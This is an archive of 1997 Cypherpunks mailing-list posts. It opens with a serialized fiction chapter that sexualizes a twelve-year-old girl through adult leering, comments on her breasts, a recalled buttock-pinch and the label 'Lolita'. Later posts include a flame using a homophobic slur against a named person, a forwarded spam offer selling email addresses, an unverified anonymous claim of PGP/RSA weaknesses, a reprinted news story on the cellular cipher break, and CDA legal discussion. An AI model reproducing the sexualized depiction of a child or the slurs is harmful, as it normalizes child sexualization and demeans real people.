Alexis giggled like a schoolgirl (which, in fact, she was, when
not hanging out in bars with lecherous old men long-rumored to
lean towards pedophilia).

Bubba smiled at her youthful bravado in proclaiming herself to
be a 'woman of the world'-which reminded him,
"And when did you turn thirteen? Did I miss the 'big day'
of your entry into 'teenage-hood', or whatever it's called?"

"Oh, I'm not thirteen for another three weeks yet. I just
thought that I'd better practice a little, beforehand, so that
I can be good at being a teenager."
Alexis sat for a few moments, lost in contemplation of her new
love, before continuing,
"Cowboy is always staring at my eyes; he makes my eyes feel
beautiful. I don't think he's even noticed that I have
breasts.", she said, pouting just the slightest little bit.

"If he hasn't noticed," Bubba replied, looking
the young lady up and down with his best, lecherous grin, "then
I think he could be declared legally blind." 

"BUBBA!"

Bubba didn't have to look up to know that Alexis's mother had
arrived.

"I saw the way that you were looking at my daughter! Keep
your damn hands in your pockets, if you know what's good for you."

"Not to worry, Priscilla," Bubba told her as she bent
to give him a kiss on the cheek, "it seems that she yearns
for another, that my quest for her affections has come to naught."

"And who is the lucky boy?", Priscilla teased her daughter.

Alexis and Bubba answered in unison, saying,
"The Cow-boy."

"Lordy, lordy." Priscilla raised her eyes to the sky,
in apology. "What kind of mother am I, raising my daughter
around the likes of you two 'rounders'?"

"She's worried that the Cowboy hasn't noticed that she has
breasts," Bubba volunteered, making it sound like
a matter of great import.

"Lordy, girl. If he hasn't, then we'd better check
him for a pulse, because your boobs were bigger than mine when
you were turning eleven, girlie. And he sure enough has
been trying to get his hands on mine."

"They're breasts, mother, not 'boobs'." Alexis
always got perturbed with her mother's lack of social etiquette
in Bubba's presence."

"Well, excuse me, young lady. Just take my word for
it that he has noticed your breasts. Trust me on
this, I have a hunch about it."

"Well," Alexis said, looking back in remembrance, "I
guess maybe you're right." She paused for dramatic effect,
as any mature 'woman of the world' would do when recounting the
brighter moments of her 'love life.'
"After all, on my eleventh birthday, he did pinch
me on the buttocks and say, 'Oh, to be thirty-five, again.'"

"Lawdy, lawdy, Miss Clawdy." Priscilla swore (an epitaph
passed down through the Masters of Antiquity), "When I die,
I'm going to go straight down to the abode of the Evil One, for
the company that I let you keep."

"Actually," Bubba broke in, changing the subject slightly,
"she did kind of take a shine to a younger fellow who dropped
in to visit a short while ago."
Bubba slipped Priscilla the wallet from beneath his robe. She
nodded, and placed it in her purse.

"Well, I certainly hope that my darling Alexis didn't tease
the poor boy too much. Honestly, I think she enjoys
flaunting her body in front of these men to distract them. She's
been a regular Lolita, lately."

Alexis just smiled like a Cheshire cat. She did, indeed, still
enjoy toying with that 'special power' she found out that she
had-the power to make both boys and grown men stutter and drool
on themselves in their efforts to please and impress her. After
all, if you 'have it', then you might as well put it to use for
a good purpose.

"I'll see that someone goes by tonight to return the young
man's wallet and have a chat with him." Priscilla told Bubba
in a quiet voice.

"You might go see him yourself, mother." Alexis couldn't
resist saying. "He's kind of cute, and I've already got him
warmed up for you."

"Honestly, girl. You'd think I was a strumpet, just doing
this to take advantage of the young men that come through here
to meet Bubba."

"Well...?" Alexis grinned at her mother.

"Well, what?", Priscilla said, knowing she was
trapped.

"Well, what about that nice young man, Benjamin that you
enlisted last week? I seem to remember the sun being up well before
you came home the next morning.", Alexis grinned wickedly,
knowing her mother had no escape from the facts, as established.

"Well...Well, never mind. End of story." 

Alexis, relishing her mother's embarrassment, merely sat silently,
grinning like the Cheshire cat. Bubba, however, thought now was
a good time to bring up a delicate matter that would sooner or
later need to be addressed. He began lightly enough.

"It seems to me, Priscilla, that if you are helping to enlighten
the younger generation to the benefits of maturity in choosing
a lover, that you could hardly complain, should Cowboy choose
to do the same."

Priscilla was not in the least nonplused by Bubba's attempt to
corner her with questionable logic.
"Bubba, I limit myself to moving downward just a single generation
for my sexual pleasures, though I'm sure that you find that concept
a bit hard to understand. Besides, I've taught Alexis that she
should breed only within her species, which puts you out
of the picture, and outside of my circle of suitors, which puts
the Cowboy out of the picture."

Bubba was grateful that she had given him precisely the kind of
opening he needed to pursue the point he was really angling to
raise.
"I believe what may be more pertinent than the 'picture'
that the Cowboy may be 'in' or 'out of', is the puzzling picture
I believe he is 'seeing' when he gazes upon your beautiful young
daughter, my dear lady."

"Bubba! Surely you don't mean...", but Priscilla
knew that was precisely what Bubba meant.

"Your lovely pre-pubescent offspring is enamored of the fact
that, despite her strikingly healthy physical endowments, the
Cowboy seems to look only into her eyes, with great appreciation
thereof.
"I would suggest, however, that his gaze is encompassing
a range much deeper than Alexis could possibly imagine, and that
what he sees there leaves him dazed and confused.
"When was the last time you are aware of the Cowboy becoming
'dazed and confused' as a result of reading one's inner aura?"

Priscilla merely sat, dumbfounded, staring first and Bubba, and
then at Alexis.


Chapter 5 - Unitary Oath / Chapter 6 - Breasts








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 20 Mar 1997 01:20:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cocksucker John Gilmore attempts to rewrite history again
In-Reply-To: <B0Fu4D28w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970320041843.25017D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


This cocksucker John Gilmore is gettign to be a BIG pain in the ass!

Now just why is it that most ALL problem peoiple like this are QUEER?

On Wed, 19 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Wed, 19 Mar 97 21:47:10 EST
> From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Reply-To: freedom-knights@jetcafe.org
> To: cypherpunks@toad.com, freedom-knights@jetcafe.org
> Cc: sethf@athena.mit.edu
> Subject: Cocksucker John Gilmore attempts to rewrite history again
> 
> I've been reading a thread in the Usenet newsgroups alt.cypherpunks and
> comp.org.eff.talk. EFF, you may recall, is Cocksucker John Gilmore's setup,
> and a pair of Gilmore/EFF's stooges - llurch@quixote.stanford.edu (Rich
> Graves <rcgraves@disposable.com>) and sethf@athena.mit.edu (Seth
> Finkelstein) - have been posting lies in an effort to rewrite the recent
> events which have totally destroyed Cocksucker's reputation on the net.
> 
> Rich Graves wrote in article <5gl63i$4eu@quixote.stanford.edu>:
> 
> >comparing me to Vulis doesn't work, I don't think. He'd have
> >mailbombed the list subscribers at the drop of a hat; and in
> >the case of cypherpunks, he and GruBoursy did, to such an
> >extent that the list had to move from toad.com to cyberpass.net.
> >I'm sure I've disappointed some people by doing nothing of the
> >kind. Doesn't stop Seth from saying I'm obsessed, of course.
> 
> This is a lie. I haven't mailbombed cypherpunks. The list moved from
> toad.com to multiple sites because the readers no longer trusted Gilmore to
> host the list. In article <5gkfag$36o@quixote.stanford.edu> he also wrote:
> 
> >>In any case, I personally would not ever absolutely reject posts
> >>arbitrarily from someone if I was moderating a list, even if 99.9% of
> >>their posts were absolute junk.  (I've been in such situations---try
> >>moderating an biological evolution newsgroup and fend of all the
> >>creationists.)
> >
> >You've never met Dr. Vulis, then. Imagine 50 messages a day like this:
> >
> >http://infinity.nus.sg/cypherpunks/dir.archive-96.10.24-96.10.30/
> >
> >|Timmy May has tons of dandruff (and dried up semen) in his beard.
> >|Is he Jewish???
> >|
> >|---
> >|
> >|Dr.Dimitri Vulis KOTM
> >|Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> Rich is lying...
> 
> >Vulis also posted megabytes of Serdar Argic screeds, just to be annoying,
> >and with the stated intention of disrupting the list. That's called a
> >denial of service attack.
> 
> More lies. I haven't posted megabytes of Serdar Argic materials, and I have
> repeatedly stated that it is NOT my intention to disrupt the mailing list.
> 
> >While the cypherpunks move from toad.com to cyberpass.net was far from
> >ideal, it worked reasonably well because the list was aware of what was
> >happening.
> 
> Is that why John Gilmore is sending his minions to post lies and to
> confuse the readers about what was happening?
> 
> In response, sethf@athena.mit.edu (Seth Finkelstein) further wrote
> in article <5gmnuj$1ha@senator-bedfellow.MIT.EDU>:
> 
> >>>In any case, I personally would not ever absolutely reject posts
> >>>arbitrarily from someone if I was moderating a list, even if 99.9% of
> >>>their posts were absolute junk.  (I've been in such situations---try
> >
> >	Yes, Ram, I know you'd likely handle such a situation differently.
> >But as I keep saying, on a human level, I just can't work up any
> >criticism for Declan for not wanting to deal in any way shape or
> >form with a person who so frequently mudslings and smears him so much.
> 
> Again, this is not true. I disagree with many of the things Declan says, but
> I'm not smearing him and not slinging mud at him. I'm also not aware of
> having being banned from any forum Declan moderates, whatever that is.
> 
> Seth further has the audacity to praise John Gilmore for showing the
> "patience of a saint":
> 
> >	It wasn't up to Vulis level, absolutely. But I think taking
> >the junk from Vulis showed the patience of a saint.
> 
> This is actually very funny.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 20 Mar 1997 03:02:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP Security
Message-ID: <199703201102.GAA30790@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


  I am passing along the following message, not because of my belief in
the accuracy or veracity of its contents, but merely because of the 
fact that it seems to have kept getting eaten up by various email
systems in the attempts to send it to its original destination.
  The first time it was sent via a remailer, it was bounced for ill-
defined reasons. The second time it was sent, the remailer was shut
down, and remains shut down.
  Efforts to send it through a second remailer also failed, with no
notice from the server of any problems being received. Other email
sent through the remailer at the same time encountered no difficulties.
  I am only noting the facts, here, not proferring any personal judge-
ments on the matter, although I have formed my own opinion as to the
meaning of these facts, particularly since I, myself, came by this 
post during the process of email interception.

> X-Anon-Password: XXXXXXXXXX
> X-Anon-To: XXXXXXXXXXX
> X-Anon-Name: XXXXXXXXXXXX

XXXXXXXXX,
 I thought I would reply privately to you, since you seem to
at least have a willingness to allow the possibility of compromises
to the security of the encryption methodologies behind PGP programs,
among others.

  To begin with, I'm not sure whether you realize it, or not, but the
Navy's spook tenacles run deeper, and extend further, than those of any
of the more notable or visibly involved agencies who lurk in the
background of security and privacy issues.
  One of the reasons for this is that their physical existence could be
said to mirror the Internet in many respects. The very nature of their
'global' home (the sea), has always permitted them access to people and
regions which are denied to others. Also, they are often in the position
to be involved in what looks to be merely the 'transporting' of people
and information.
  Whether providing escort services or getting drunk in foreign bars,
the expertise of naval intelligence has always lain in the area of
observation, first and foremost.

  By far the greatest tool of intelligence agencies on the Internet,
has been traffic analysis. Their techniques are sufficiently sophist-
icated that I would not be surprised to find out that they can tell
more about us from our Internet activity than can be learned from the
satellites capable of reading the newspaper over our shoulder as we
sit in the park.
  Traffic analysis involves all measurable quantum of information, the
chief concerns being the patterns and timing of data transfer, from
which everything ranging from content and motivation can be deduced.

  If you wish to think in terms of back-doors, then you would be well
advised to go beyond the concepts of 'passwords' and 'holes' and try
to think in terms of patterns and timing, and other such 'structures'
which are peripheral to concerns regarding 'code' and 'mathematics.'
  i.e. As well as considering the 'content' of what a program returned,
you must also consider 'when' the program returned the result, and
the patterns in the timing, as well as the content.
  An analogy could be made to a person who, being interrogated, answers
all questions with a predictable rhythm and then 'pauses,' however
slightly, in answering a certain question. You can see that what is
revealed by the 'content' of the answer can be greatly insignificant
compared to what is revealed by the 'delay' in answering.

  To expand your concept of 'back-doors' and 'holes,' you have to ask
questions such as:
  "Does it take a program or hardware longer to return a result of '0',
than to return a result of '1'?"
  "What factors can be introduced into the hardware and/or software
that can influence the patterns and/or timing of various processes
and the results they return?"
  "Can key searches be made more efficient by analyzing such things
as rhythm, syntax, etc? What 'details' or 'qualities' of an individual,
group, or 'arena of concern' can be analyzed for the purpose of being
able to group them into structures which can be searched for?"
  "How can 'assigning' a value to certain sequences of numbers be used
as a pattern to 'filter' the input data into a form which is easier to
analyze?"

  You are aware of 'tricks and techniques' that apply to mathematics
and are widely known.
  i.e. The process of shifting and adding numbers when multiplying by
the number '11'.
  However, what about those quantum of information which are of no
consequence to those seeking for the 'final result' of that multi-
plication? Can the peripheral effects of mathematic calculations
be used to analyze what has taken place, to narrow the scope of
inquiry?
  My nephew describes numbers as getting 'wider' as they get larger,
and he does quick checks of his result through his 'feel' for how
much 'wider' a number should be when he is done, even in complicated
equations which he ill-understands.
  (He reminds me of Steven Wright, who claims that someone told him
that his socks didn't match, and he replied, "Sure, they do. I go
by thickness.")

  I am currently working on a project which involves merging chaos
theory with traffic analysis and other processes to analyze the
effects that algorithms display when processed through the filters
of varying hardware and software structures and methodologies.
  The RSA algorithm and accompanying RSAREF subroutines were our
first focus, for the very reason that there were certain factions
behind the scenes of the Zimmerman/RSA agreement who seemed to
have an inordinate amount of interest in the subroutines being
chained to the algorithm (for reasons that have nothing to do
with patent protection).

  Those whose expertise goes far beyond my own in this area look at
the initial results of the analysis as confirming that their is a
'relationship' between the RSA algorithm and the RSAREF subroutines
which will enable them to break the system down into workable
units for fairly quick analysis.
  What is interesting is that the results from small probes into
other encryption systems show the same potential for exploitation
using varying analysis methodologies and processes.
  (One fairly well-known encryption routine is almost lame enough
to reveal its secrets to anyone with a pencil and a stopwatch, as
well as the file size and time it takes to encrypt.)

  While I would rather you didn't publicize the preceding information,
as a general rule, I think that is something that should be shared with
anyone who is seriously focusing their efforts on better methods of
encryption and analysis of encryption methodologies.
  I am aware of two other groups who are working along the same lines,
although with a narrower range of variables than ourselves, and I am
certain that there must be more than a few other entities out there
who are also pursuing this line of research.

  I would appreciate any comments you may have on the above, as well as
any suggestions you may have. (Despite having a post-graduate degree
in an area which required a thorough grounding in mathematics I may
have to refer any highly technical suggestions to those in the group
who dream in numbers, sunset to sunrise.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Mar 1997 04:20:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cell Phone Code Cracked
Message-ID: <1.5.4.32.19970320121221.006edfa4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


For details of the crack see the cryptographers' press release at: 

   http://www.counterpane.com/cmea.html

The New York Times, March 20, 1997, pp. A1, D2.

Code Set Up to Shield Privacy Of Cellular Calls Is Breached
 
By John Markoff

San Francisco, March 19 -- A team of well-known computer
security experts will announce on Thursday that they have
cracked a key part of the electronic code meant to protect the
privacy of calls made with the new, digital generation of
cellular telephones.

The announcement, intended as a public warning, means that --
despite their greater potential for privacy protection -- the
new cellular telephones, which transmit streams of digital
information in code similar to computer data, may in practice
be little more secure from eavesdropping than the analog
cellular phones, which send voice as electronic patterns
mimicking sound waves, that have been in use the last 15
years.

It was such eavesdropping, for example, that caused trouble
for Newt Gingrich when a Florida couple listened to his
cellular phone conversation in December about the
Congressional ethics inquiry.

Now that digital wireless networks are coming into use around
the nation, the breaking of the digital code by the team of
two computer security consultants and a university researcher
confirms fears about privacy that were raised five years ago
when the communications industry agreed under Government
pressure to adopt a watered-down privacy technology.

Several telecommunications industry officials said the
pressure came from the National Security Agency, which feared
that stronger encryption technology might allow criminals or
terrorists to conspire with impunity by cellular phones.

But independent security experts now say that the code is easy
enough to crack that anyone with sufficient technical skills
could make and sell a monitoring device that would be as easy
to use as a police scanner is.

Such a device would enable a listener to scan hundreds of
wireless channels to listen in randomly on any digital call
within a radius ranging from 1,000 feet to a number of miles.
Or, as with current cellular technology, if a specific person
was the target of an eavesdropper, the device could be
programmed to listen for any nearby digital call to that
person's telephone number.

Other possible transgressions would include using the device
to automatically harvest all calling card or credit-card data
transmitted with nearby digital wireless phones.
And, because of a loophole in the Communications Act of 1934,
making and selling such devices would not be illegal, though
actually using one would technically be against the law.

These monitoring devices are not yet available, but security
experts said that a thriving gray market was certain to
develop. And with technical details of the security system
already circulating on the Internet instructions for cracking
it will almost certainly make their way into the computer
underground, where code breaking and eavesdropping are pursued
for fun and profit.

Technical details of the security system were supposed to be
a closely guarded secret, known only to a tight circle of
industry engineers. But the researchers performed their work
based on technical documents that were leaked from within the
communications industry and disseminated over the Internet
late last year.

"The industry design process is at fault," said David Wagner,
a University of California at Berkeley researcher who was a
member of the team that broke the code. "We can use this as a
lesson, and save ourselves from more serious vulnerabilities
in the future."

Communications industry technical experts, made aware of the
security flaw earlier this year, have been meeting to
determine whether it is too late to improve the system's
privacy protections. Already the digital technology is in use
in metropolitan areas, including New York and Washington,
where either the local cellular networks have been modified to
support digital technology or where new so called wireless
personal communications services are being offered.

"We're already in the process of correcting this flaw," said
Chris Carroll, an engineer at GTE Laboratories, who is
chairman of the industry committee that oversees privacy
standards for cellular phones.

But Greg Rose, a software designer for the Qualcomm Inc. a
leader in digital cellular systems said that fixing the flaw
would be "a nightmare." Tightening the security system, Mr.
Rose said, would involve modifying software already used in
the computerized network switching equipment that routes
wireless digital telephone calls, as well as the software
within individual phones.

Currently, about 45 million Americans have cellular phones,
though most of them so far are based on an older analog
standard that offers no communications privacy. But cellular
companies are gradually converting their networks to the new
digital standard, and the new personal communications services
networks going into operation around the country also employ
the digital encryption system. Nearly a million P.C.S. phones
have been sold in the United States, according to cellular
industry figures.

Besides Mr. Wagner, the other researchers who cracked the code
were Bruce Schneier and John Kelsey of Counterpane Systems, a
Minneapolis consulting firm. Mr. Schneier is the author of a
standard textbook on cryptography.

The new digital wireless security system, which was designed
by cellular telephone industry engineers was never intended to
stop the most determined wiretappers.

But because digital calls are transmitted in a format
corresponding to the one's and zero's of computer language,
they are more difficult to eavesdrop on than conventional
analog calls, which are transmitted in electronic patterns.
And digital calls protected with encryption technology --
basically a mathematical formula in the software that
scrambles the signal -- would be all the harder for a third
party to listen to surreptitiously.

Because the encryption system that the industry adopted in
1992 was deliberately made less secure than many experts had
recommended at the time, privacy rights advocates have been
warning since that the code could be broken too easily. An
announcement Thursday that the code has indeed been cracked
would seem to bear out those concerns.

"This should serve as a wake-up call," said James X. Dempsey,
senior staff counsel for the Center for Democracy and
Technology, a public interest group. "This shows that
Government's effort to control encryption technology is now
hindering the voice communications industry as well as the
data and electronic communication realm."

Industry executives acknowledged that steps must be taken to
address the problem.

"We need strict laws that say it is illegal to manufacture or
to modify a device which is designed to perpetrate the illegal
interception of P.C.S. telephone calls," said Thomas E.
Wheeler, president of the Cellular Telephone Industry
Association, a Washington-based trade group.

Mr. Wheeler said the weaker privacy technology had been
adopted not just to appease the Government but because makers
of wireless communications hardware and software wanted to
embrace a technical standard that would meet export
regulations. Those rules, based on national security
considerations, sharply curtail the potency of American-made
encryption technology.

The three computer researchers who broke the code belong to an
informal group of technologists who believe strongly that
powerful data-scrambling technologies are essential to protect
individual privacy in the information age. These
technologists, who planned to release their findings in a news
release on Thursday, argue that the best way to insure that
the strongest security codes are developed is to conduct the
work in a public forum. And so they are sharply critical of
the current industry standard setting process which has made
a trade secret of the underlying mathematical formulas used to
create the security codes.

"Our work shows clearly why you don't do this behind closed
doors," Mr. Schneier said. "I'm angry at the cell phone
industry because when they changed to the new technology, they
had a chance to protect privacy and they failed."

Mr. Carroll, head of the industry's privacy committee, said it
planned to revise the process for reviewing proposed technical
standards.

[End]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba <bubba@dev.null>
Date: Thu, 20 Mar 1997 06:27:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 7-8
Message-ID: <33314967.4EAA@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Insanity

Nuthouse Number Nine is for the hard-core psychiatric
inmates. Looney Level 'Leven is for the terminally dangerous.
No one is released at this Level. No one gets out.

There is no 'insanity' as we knew it in the old days.
Back then, if you stepped off the beaten path, then you were considered
'weird'. If you stepped further off the well-traveled societal
by-ways, then you were considered 'disturbed'. If you went totally
out into hyberspace, however, then you were considered 'insane'.
But when TV came along, things began to change.
Nobody realized it at first, but there were signs. Marshal McLuhan
spotted it right away and wrote "The Medium Is The Message".
He was politely received during his own time and garnered a modicum
of acclaim, but no one really understood the depth of what he
was trying to explain.

Then it began happening.

A man, Charles Whitman, climbed to the top of a building
on the University of Texas campus, started blowing people away
with a high-powered rifle, and our new 'medium' carried it to
the world. TV was the 'medium'. An interesting new medium. 'Entertainment'...that's
what we called it.
Then another man decided to mimic good old Charlie. Then another...and
another. And 'nuts with guns' became a fad, with these events
beginning to happen on a regular basis. 'Nuts with guns' had their
fifteen minutes of fame, then quietly disappeared, and the fad
was seemingly over. 

But it had begun.

Zappa tried to warn us about TeleVision. "Watch
me and I'll bleed you, 'cause you eat the shit I feed you."
The 'flower children' of the sixties listened to him and applauded,
but they never really understood the true extent of the danger
he was espousing.
It kept happening-each time at a deeper level-with more
and more regularity. Bank robbers began learning the truly effective
techniques of their trade by watching the evening news for the
stories of the guys who got away. Prison inmates took notes during
fictional 'escape' movies and turned fiction to fact by mirroring
the movie-and it worked! 

TV, even with only a few paltry channels, still managed
to work its way into our life to such a great extent that it became
an extension of our reality, and eventually our reality became
an extension of TV. And then, slowly, TV began to 'become' our
reality.

And in the end, when we still had a chance-a slim
chance, but nevertheless a chance-WebTV exploded to 500 Channels
through the 'wonder of modern technology'and... we were doomed.


Freedom


Jonathan's mind was once again a confusing swirl of mixed-emotions
and troublesome thoughts. He was torn between the hard reality
of WebWorld, with its rigidly structured programming, and the
phantoms from his past, which brought back harsh memories, but
also brought remembrances of a time when everything seemed to
be happier, lighter, with an underlying current that suggested
the possibility of being...free.

Freedom. Jonathan shook his head slowly, not daring to believe
that his instincts were truly telling him that his world-view
had become so constricted and rigid that he had lost sight of
what the word really implied.
Jonathan let himself sink into his childhood memories, the shadows
surrounding him in his dimly lit room becoming an almost palpable
likeness of the figures from his past.

CypherPunks, Hackers, Phrackers and Phreaks. Mad Doctors and Freedom-Knights,
Mad Dogs and Englishmen.
Strains of a historical music figure, Joe Cocker, seemed to drift
across the room, carried on the wisps of light, blue smoke whose
pleasant aroma floated into the room from a point in time and
space which was miles away and long in the past.

Jonathan opened his eyes, looking once again at the ancient poster
from a festival called Woodstock, seeing the additions his grandfather
had improvised on it, which could only be seen in the flickering
rays of the blue-light which Jonathan had resurrected from parts
found at the Museum of Antiquities.
Jonathan could name them all: Country Joe McDonald, Joe Cocker,
Jimi Hendrix, Richie Havens, and a multitude of others. All of
them sporting, due to his grandfather's humorous addition to the
poster-tattoos.
He let out a loud roar of laughter, realizing that he had, at
one time, had this same poster hanging in his cubicle at headquarters,
not realizing until he had put together the blue-light mechanism,
that each and every figure on it proudly sported on their arms
an emblem that could have resulted in Jonathan's persecution,
and possibly even his death-the Mark of the Toad.

Jonathan laughed until the tears rolled down his cheeks, until
his ribs were racked with sharp pain. As he struggled to regain
his composure, he realized what his laughter and pain signaled,
and he began to slowly weep, his tears falling on his body, just
as his mother's tears had fallen on him so very long ago.
His tears became a river, carrying him back toward the point in
his youth where his mother's tears had signaled their flight away
from their past, away from the CypherPunks, and toward freedom.
He rode the river of tears once again, only this time the journey
was toward the CypherPunks, and toward freedom.

Jonathan thought of the legend of the headstone on the grave beside
that of Vice-Admiral D'Shauneaux's, the grave said to be reserved
for the last free man or woman remaining on the planet. He slowly
rose and looked in the full-length mirror on the wall beside him,
seeing himself, his present, his past, and flickering shadows
of his future.
He thought about the many years which he had spent closing himself
off from others, making certain that his tainted past remained
hidden in obscurity. Avoiding close emotional relationships, avoiding
physical intimacy. Avoiding situations in which he would be expected
to display his body to others.

Jonathan slowly removed his sweatshirt, pulling it over his head
and discarding it on the seat beside him. He stared in the mirror
at the symbol on his arm which he had even avoided looking at
himself for all these many lonely years. He stared at his left
arm and the tattoo upon it. A symbol which had caused him to live
his whole life in fear of discovery-the Mark of the Toad.

He thought about a poem which he had memorized that had been posted
to the CypherPunks list by a 10 year old child during the great
schism which had threatened to destroy the list, in a fight over
censorship concerns that blazed brightly when one of the founders
of the list decided to take it upon himself to 'purge' the list
of a troublesome subscriber and 'moderate' the postings that other
list members would receive.
Jonathan's grandfather had laughed uproariously when the post
was relegated to the 'flames' list that had been instituted, at
the thought that the mighty CypherPunks needed to be protected
from the words of a child.

Jonathan's lips moved lightly over the words, as a smile
spread across his face,
"You're CypherPunks,
"Don't bend over for the lamers.
"Don't whine and cry,
"Just keep on being flamers.

"Bitch and shout,
"Don't worry about the schisms.
"And don't let the Fascists take
"Your algorithms.

"Lamers come and go,
"So don't worry about their junk.
"Anarchists have <Delete> keys,
"They're Immortal CypherPunks."

The memory and the words brought Jonathan back to the present.

Anarchy. How long had it been since he had allowed himself to
repress all memory of the loud and boisterous rants and raves
on this subject during the late nights of CypherPunk revelry in
his grandfather's study? How long since he had allowed himself
to clearly see that it was not the CypherPunks who had ruined
his life, but the Dark Forces spreading throughout the land who
had decreed that those who espoused principles of privacy and
freedom were enemies of the people.

Jonathan drew himself up as he gazed in the mirror again, the
shadows of the past receding and leaving him standing alone, as
if he was, indeed, the last free man on the face of the earth.

He knew that he was no longer at any point in time or space, but
was standing at the nadir point in which legend meets reality,
where each man or woman walks alone and face only themselves as
the final judge of the meaning of their life and actions.

In that instant, Jonathan realized that the legend was wrong,
because he heard the echo of the Vice-Admiral's voice whispering
gently through the labyrinth of the communal mind of mankind,
and the voice was saying,
"Do something."

There was a knock on the door...


Chapter 7 - Insanity / Chapter 8 - Freedom








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 20 Mar 1997 08:12:19 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703172040.MAA23689@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970320090914.123976C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Mix wrote:

Pill time Vulis.

> Tim Mayflower's family tree goes straight 
> up. All of his ancestors were siblings, to 
> dumb to recognize each other in the dark.
> 
>      o o Tim Mayflower
>       o
>      \_/
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 20 Mar 1997 12:45:09 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: Report from Supreme Court on CDA arguments
In-Reply-To: <v03007814af562ae68de2@[168.161.105.191]>
Message-ID: <3.0.1.32.19970320124236.0062d868@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


One of the main arguments about technology for the good guys is that
the CDA's infringements on free speech are not the least restrictive
means for accomplishing their (claimed) objective - technology gives us
some options today (like censor-filters) - and advances in technology
_strengthen_ the pro-free-speech case, because they provide more alternatives
that are less restrictive than the censorship approach.

At 06:45 PM 3/19/97 -0500, Declan wrote:
>http://cgi.pathfinder.com/netly/editorial/0,1012,744,00.html
>     Justice Scalia, who noted that he uses a
>computer, pointed out that technology is rapidly
>changing. "So much of your argument is based on
>what's currently available," he said to Ennis.
>"This technology is changing so quickly. Is it
>possible that this statute is unconstitutional
>now but could be [constitutional] in four or five
>years?" Ennis replied: "Not as it's written."
>
>     During a subsequent press conference, Ennis
>added that indeed, the technology is changing,
>and is giving parents more control over what
>their children do and see online. "Precisely
>because the technology is changing, the
>government should not be trying to enforce this
>law," he said. The ACLU attorneys who joined
>Ennis were grinning: the justices appeared to
>understand the nature of communications online,
>noted that teens have rights, and focused on free
>speech, not porn.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lile Elam <lile@art.net>
Date: Thu, 20 Mar 1997 12:48:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Isn't this like a bad idea?
Message-ID: <199703202045.MAA16675@art.net>
MIME-Version: 1.0
Content-Type: text/plain



Hi folks,

Selling email addresses seems to me to be a bad idea. Wouldn't
it be better to have people sign up instead of this? I mean,
it looks like this is for spammers.

Who can I contact about this abuse?

thanks,

-lile

>From mick3@concentric.net Wed Mar 19 21:18:24 1997
Date: Thu, 20 Mar 1997 00:17:18 -0500 (EST)
Comments: Authenticated sender is <mick3@pop3.concentric.net>
From: "mick3@concentric.net" <mick3@concentric.net>
To: you@concentric.net
Subject: 1 MIO e-mail addresses for sale

Hello, and sorry to bug you...
If you are not a business owner, we apologize.
For Sale:  1 MILLION E-MAIL ADDRESSES FOR $95.00
or 2million for $ 155.00 - or 3 million for $ 195.00
Available on 3.5" disk or e-mail download.
These are fresh lists, no BS...plain ASCI format, one per line.
This is a one time mailing, you will not be contacted again.
Send check or money order to:

YMR - ADDRESS LIST
P.O. Box 654
Marysville, Ca 95901

( please specify, if you want 3.5" disk or have it sent via e-mail as *.zip file)
                        Questions? call Mick at (916) 741-2622

                 TO BE PROMTLY REMOVED, TYPE "REMOVE"


























































































































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 20 Mar 1997 13:00:42 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Report from Supreme Court on CDA arguments
In-Reply-To: <3.0.1.32.19970320124236.0062d868@popd.ix.netcom.com>
Message-ID: <Pine.GSO.3.95.970320125620.8134E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Is it possible that the technology that helps us to claim the CDA is not
the least restrictive means to accomplish the gvt's (disputed) goal
of protecting junior *also* helps the gvt argue it's easier to comply?

In other words, if the justices disagree with us on the LRM argument
(perhaps saying that kiddies can log in from the mall or at a
friend's house w/out censorware) -- then censorware *helps* the gvt claim
a revised CDA is constitutional?

